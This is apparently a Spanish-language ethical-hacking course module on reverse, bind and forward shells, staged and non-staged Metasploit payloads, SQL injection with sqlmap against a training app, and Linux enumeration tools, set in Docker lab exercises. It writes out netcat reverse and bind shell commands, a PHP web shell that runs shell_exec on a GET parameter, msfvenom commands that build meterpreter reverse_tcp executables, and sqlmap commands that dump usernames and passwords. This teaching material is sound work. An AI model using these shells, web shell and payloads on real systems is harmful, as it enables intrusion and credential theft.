# TEMA 5 - Conceptos básicos de enumeración y explotación

- [TEMA 5 - Conceptos básicos de enumeración y explotación](#tema-5---conceptos-básicos-de-enumeración-y-explotación)
  - [5.1 Reverse Shells, Bind Shells y Forward Shells](#51-reverse-shells-bind-shells-y-forward-shells)
    - [Práctica con el contenedor Docker de ubuntu\_apache.](#práctica-con-el-contenedor-docker-de-ubuntu_apache)
  - [5.2 Tipos de payloads (Staged y Non-Staged)](#52-tipos-de-payloads-staged-y-non-staged)
  - [5.3 Tipos de explotación (Manuales y Automatizadas)](#53-tipos-de-explotación-manuales-y-automatizadas)
  - [5.4 Enumeración del sistema](#54-enumeración-del-sistema)
  - [5.5 Introducción a BurpSuite](#55-introducción-a-burpsuite)


## 5.1 Reverse Shells, Bind Shells y Forward Shells

Diferencias entre Reverse Shell, Bind Shell y Forward Shell:

- **Reverse Shell**: Es una técnica que permite a un atacante conectarse a una máquina remota desde una máquina de su propiedad. Es decir, se establece una conexión desde la máquina comprometida hacia la máquina del atacante. Esto se logra ejecutando un programa malicioso o una instrucción específica en la máquina remota que establece la conexión de vuelta hacia la máquina del atacante, permitiéndole tomar el control de la máquina remota.
- **Bind Shell**: Esta técnica es el opuesto de la Reverse Shell, ya que en lugar de que la máquina comprometida se conecte a la máquina del atacante, es el atacante quien se conecta a la máquina comprometida. El atacante escucha en un puerto determinado y la máquina comprometida acepta la conexión entrante en ese puerto. El atacante luego tiene acceso por consola a la máquina comprometida, lo que le permite tomar el control de la misma.
- **Forward Shell**: Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de “consola simulada” interactiva a través de la cual el atacante puede operar en la máquina remota. En lugar de establecer una conexión directa, el atacante redirige el tráfico a través del archivo FIFO, lo que permite la comunicación bidireccional con la máquina remota.

Es importante entender las diferencias entre estas técnicas para poder determinar cuál es la mejor opción en función del escenario de ataque y las limitaciones de la red.

### Práctica con el contenedor Docker de [ubuntu_apache](./Dockerfile).

- Primer supuesto (Reverse Shell):
  - En escucha desde anfitrión: `nc -nlvp 443`
  - Conexión desde el contenedor: `ncat -e /bin/bash ip_anfitrión 443`
- Segundo supuesto (Bind Shell):
  - Se envía desde el contenedor una shell: `nc -nlvp 443 -e /bin/bash`
  - Se conecta desde el anfitrión: `nc ip_contenedor 443`
- Tercer supuesto (Forward Shell):
  - Añadirmos iptables:
    - `apt install -y iptables`
    - `iptables --flush`
    - `iptables -A INPUT -p tcp --dport 80 -j ACCEPT`
    - `iptables -A INPUT -p tcp --dport 0:65535 -m conntrack --ctstate NEW -j DROP`
  - Borramos el `index.html` y creamos el fichero `cmd.php` en `/var/www/html`:
      ```php
      <?php
      if (isset($_GET['cmd'])) {
          $command = $_GET['cmd'];
          $output = shell_exec($command);
          
          if ($output === null) {
              echo "Error al ejecutar el comando.";
          } else {
              echo "<pre>" . $output . "</pre>";
          }
      } else {
          echo "Por favor, proporciona un comando a ejecutar.";
      }
      ?>
      ```
  - Ya podremos enviar comandos por get:` http://localhost/cmd.php?cmd=whoami` `http://localhost/cmd.php?cmd=ps%20-faux`
  - Si ponemos en escucha al anfitrión: `nc -nlvp 443` podremos conectarnos desde la url: `http://localhost/cmd.php?cmd=nc%20ip_anfitrión%20443%20-e%20/bin/bash`
  - En el caso que tuviese unas iptables que no permitieran la conexión se puede utilizar este [script Python](./tty_over_http.py):
    - https://github.com/s4vitar/ttyoverhttp
  - Se puede entablar una Reverse Shell de muchas maneras:
    - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet



## 5.2 Tipos de payloads (Staged y Non-Staged)

- **Payload Staged**: Es un tipo de payload que se divide en dos o más etapas. La primera etapa es una pequeña parte del código que se envía al objetivo, cuyo propósito es establecer una conexión segura entre el atacante y la máquina objetivo. Una vez que se establece la conexión, el atacante envía la segunda etapa del payload, que es la carga útil real del ataque. Este enfoque permite a los atacantes sortear medidas de seguridad adicionales, ya que la carga útil real no se envía hasta que se establece una conexión segura.
- **Payload Non-Staged**: Es un tipo de payload que se envía como una sola entidad y no se divide en múltiples etapas. La carga útil completa se envía al objetivo en un solo paquete y se ejecuta inmediatamente después de ser recibida. Este enfoque es más simple que el Payload Staged, pero también es más fácil de detectar por los sistemas de seguridad, ya que se envía todo el código malicioso de una sola vez.

Es importante tener en cuenta que el tipo de payload utilizado en un ataque dependerá del objetivo y de las medidas de seguridad implementadas. En general, los payloads Staged son más difíciles de detectar y son preferidos por los atacantes, mientras que los payloads Non-Staged son más fáciles de implementar pero también son más fáciles de detectar.

Ejercicio 1:

- Vamos a crear un fichero malicioso que se ejecutará en el sistema objetivo como staged. Para ello, utilizaremos el siguiente comando:
  ```bash
  msfvenom -p linux/x64/meterpreter/reverse_tcp --platform windows -a x64 LHOST=192.168.1.40 LPORT=4646 -f exe -o reverse_shell_staged.exe
  ```
- Nos crea un ejecutable que enviaremos a la máquina objetivo.
- Ahora ejecutamos metaexploit y arrancamos el listener:
  ```bash
  msfdb run
  use exploit/multi/handler
  set payload windows/x64/meterpreter/reverse_tcp
  set LHOST
  set LPORT
  show options # Vemos las opciones disponibles. Más detalles con show advanced options
  run
  ```
- Ahora, si ejecutamos el binario en la máquina objetivo, se establecerá una conexión con el atacante.

Ejercicio 2:
- Vamos a crear un fichero malicioso que se ejecutará en el sistema objetivo como non-staged. Para ello, utilizaremos el siguiente comando:
  ```bash
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.40 LPORT=4646 -f exe -o reverse_shell_nonstaged.exe
  ```
- El resto es como el primer ejercicio y no se nota diferencia pero por detrás el payload se enviará de manera distinta.
- La conexión también se puede hacer por netcat, pero entonces no tendrás consola interactiva. Para tenerla un poco más interactiva hay que usar la aplicación rlwrap:
  ```bash
  rlwrap nc -nlvp 4646
  ```
- Pondrá el puerto en escucha y ejecutanto el binario en la máquina objetivo se establecerá la conexión.


## 5.3 Tipos de explotación (Manuales y Automatizadas)


- Explotación Manual: Es un tipo de explotación que se realiza de manera manual y requiere que el atacante tenga un conocimiento profundo del sistema y sus vulnerabilidades. En este enfoque, el atacante utiliza herramientas y técnicas específicas para identificar y explotar vulnerabilidades en un sistema objetivo. Este enfoque es más lento y requiere más esfuerzo y habilidad por parte del atacante, pero también es más preciso y permite un mayor control sobre el proceso de explotación.
- Explotación Automatizada: Es un tipo de explotación que se realiza automáticamente mediante el uso de herramientas automatizadas, como scripts o programas diseñados específicamente para identificar y explotar vulnerabilidades en un sistema objetivo. Este enfoque es más rápido y menos laborioso que el enfoque manual, pero también puede ser menos preciso y puede generar más ruido en la red objetivo, lo que aumenta el riesgo de detección.

Es importante tener en cuenta que el tipo de explotación utilizado en un ataque dependerá de los objetivos del atacante, sus habilidades y del nivel de seguridad implementado en el sistema objetivo. En general, los ataques de explotación manual son más precisos y discretos, pero también requieren más tiempo y habilidades. Por otro lado, los ataques de explotación automatizada son más rápidos y menos laboriosos, pero también pueden ser más ruidosos y menos precisos.

A continuación, se os proporciona el enlace del proyecto de Github que utilizamos para explicar ambos enfoques:

- sqlinjection-training-app: https://github.com/appsecco/sqlinjection-training-app

Vamos a realizar una explotación automatizada. Lo levantamos con docker:
```bash
docker run -d -p 8000:8000 appsecco/sqlinjection-training-app
```

Entrando en el navegador a `http://localhost:8000` podremos ver la aplicación web que contiene una vulnerabilidad de inyección SQL. Para explotarla de manera manual, podemos utilizar la herramienta sqlmap. Para ello, utilizamos la aplicación burpsuite para interceptar la petición y modificarla para que sea vulnerable a inyección SQL. Lo abrimos en segundo plano:
```bash
burpsuite &> /dev/null & disown
```

Guardamos la petición en un fichero llamado `login.txt` y lo ejecutamos con sqlmap:
```bash
sqlmap -r login.txt -p searchitem --batch 
```

Aquí comprobamos si es inyectable. Entonces dumpeamos las bases de datos:
```bash
sqlmap -r login.txt -p searchitem --batch --dbs
```

Ahora vemos las tablas:
```bash
sqlmap -r login.txt -p searchitem --batch -D sqlitraining --tables
```

Ahora vamos a ver las columnas de la tabla `users`:
```bash
sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users --columns
```

Y por último, vemos el contenido de la tabla `users`:
```bash
sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users -C username,password --dump
```

Ahora vamos a realizar una explotación manual. Para ello, vamos a utilizar la herramienta sqlmap. Lo primero que haremos será interceptar la petición con burpsuite y guardarla en un fichero llamado `login.txt`. A continuación, ejecutaremos sqlmap con el siguiente comando:
```bash
sqlmap -r login.txt -p searchitem --batch
```

Una vez que sqlmap haya identificado la vulnerabilidad, podemos utilizarlo para extraer información de la base de datos. Por ejemplo, podemos utilizar el siguiente comando para extraer las bases de datos:
```bash
sqlmap -r login.txt -p searchitem --batch --dbs
```

Una vez que tengamos las bases de datos, podemos utilizar sqlmap para extraer las tablas de una base de datos específica. Por ejemplo, podemos utilizar el siguiente comando para extraer las tablas de la base de datos `sqlitraining`:
```bash
sqlmap -r login.txt -p searchitem --batch -D sqlitraining --tables
```

Una vez que tengamos las tablas, podemos utilizar sqlmap para extraer las columnas de una tabla específica. Por ejemplo, podemos utilizar el siguiente comando para extraer las columnas de la tabla `users`:
```bash
sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users --columns
```

Por último, podemos utilizar sqlmap para extraer el contenido de una tabla específica. Por ejemplo, podemos utilizar el siguiente comando para extraer el contenido de la tabla `users`:
```bash
sqlmap -r login.txt -p searchitem --batch -D sqlitraining -T users -C username,password --dump
```

En resumen, la explotación manual requiere más tiempo y habilidades, pero también es más precisa y discreta. Por otro lado, la explotación automatizada es más rápida y menos laboriosa, pero también puede ser más ruidosa y menos precisa. En general, el tipo de explotación utilizado en un ataque dependerá de los objetivos del atacante, sus habilidades y del nivel de seguridad implementado en el sistema objetivo.

## 5.4 Enumeración del sistema

Algunas de las herramientas que vemos en esta clase son:

- LSE (Linux Smart Enumeration): Es una herramienta de enumeración para sistemas Linux que permite a los atacantes obtener información detallada sobre la configuración del sistema, los servicios en ejecución y los permisos de archivo. LSE utiliza una variedad de comandos de Linux para recopilar información y presentarla en un formato fácil de entender. Al utilizar LSE, los atacantes pueden detectar posibles vulnerabilidades y encontrar información valiosa para futuros ataques.
- Pspy: Es una herramienta de enumeración de procesos que permite a los atacantes observar los procesos y comandos que se ejecutan en el sistema objetivo a intervalos regulares de tiempo. Pspy es una herramienta útil para la detección de malware y backdoors, así como para la identificación de procesos maliciosos que se ejecutan en segundo plano sin la interacción del usuario.

Asimismo, desarrollaremos un script en Bash ideal para detectar tareas y comandos que se ejecutan en el sistema a intervalos regulares de tiempo, abusando para ello del comando ‘ps -eo user,command‘ que nos chivará todo lo que necesitamos.

- Herramienta LSE: https://github.com/diego-treitos/linux-smart-enumeration
- Herramienta LinEnum (Más viejita): 
- Herramienta PSPY: https://github.com/DominicBreuker/pspy


- script propio: [procmon.sh](procmon.sh) 


- Para buscar binarios que se puedan ejecutar con permisos de root: https://gtfobins.github.io/
- https://book.hacktricks.xyz/welcome/readme



## 5.5 Introducción a BurpSuite

BurpSuite es una herramienta de prueba de penetración utilizada para encontrar vulnerabilidades de seguridad en aplicaciones web. Es una de las herramientas de prueba de penetración más populares y utilizadas en la industria de la seguridad informática. BurpSuite se compone de varias herramientas diferentes que se pueden utilizar juntas para identificar vulnerabilidades en una aplicación web.

Las principales herramientas que componen BurpSuite son las siguientes:

- Proxy: Es la herramienta principal de BurpSuite y actúa como un intermediario entre el navegador web y el servidor web. Esto permite a los usuarios interceptar y modificar las solicitudes y respuestas HTTP y HTTPS enviadas entre el navegador y el servidor. El Proxy también es útil para la identificación de vulnerabilidades, ya que permite a los usuarios examinar el tráfico y analizar las solicitudes y respuestas.
- Scanner: Es una herramienta de prueba de vulnerabilidades automatizada que se utiliza para identificar vulnerabilidades en aplicaciones web. El Scanner utiliza técnicas de exploración avanzadas para detectar vulnerabilidades en la aplicación web, como inyecciones SQL, cross-site scripting (XSS), vulnerabilidades de seguridad de la capa de aplicación (OSWAP Top 10) y más.
- Repeater: Es una herramienta que permite a los usuarios reenviar y repetir solicitudes HTTP y HTTPS. Esto es útil para probar diferentes entradas y verificar la respuesta del servidor. También es útil para la identificación de vulnerabilidades, ya que permite a los usuarios probar diferentes valores y detectar respuestas inesperadas.
- Intruder: Es una herramienta que se utiliza para automatizar ataques de fuerza bruta. Los usuarios pueden definir diferentes payloads para diferentes partes de la solicitud, como la URL, el cuerpo de la solicitud y las cabeceras. Posteriormente, Intruder automatiza la ejecución de las solicitudes utilizando diferentes payloads y los usuarios pueden examinar las respuestas para identificar vulnerabilidades.
- Comparer: Es una herramienta que se utiliza para comparar dos solicitudes HTTP o HTTPS. Esto es útil para detectar diferencias entre las solicitudes y respuestas y analizar la seguridad de la aplicación.

Se trata de una herramienta extremadamente potente, la cual puede ser utilizada para identificar una amplia variedad de vulnerabilidades de seguridad en aplicaciones web. Al utilizar las diferentes herramientas que componen BurpSuite, los usuarios pueden identificar vulnerabilidades de forma automatizada o manual, según sus necesidades. Esto permite a los usuarios encontrar vulnerabilidades y corregirlas antes de que sean explotadas por un atacante.

https://portswigger.net/burp/communitydownload
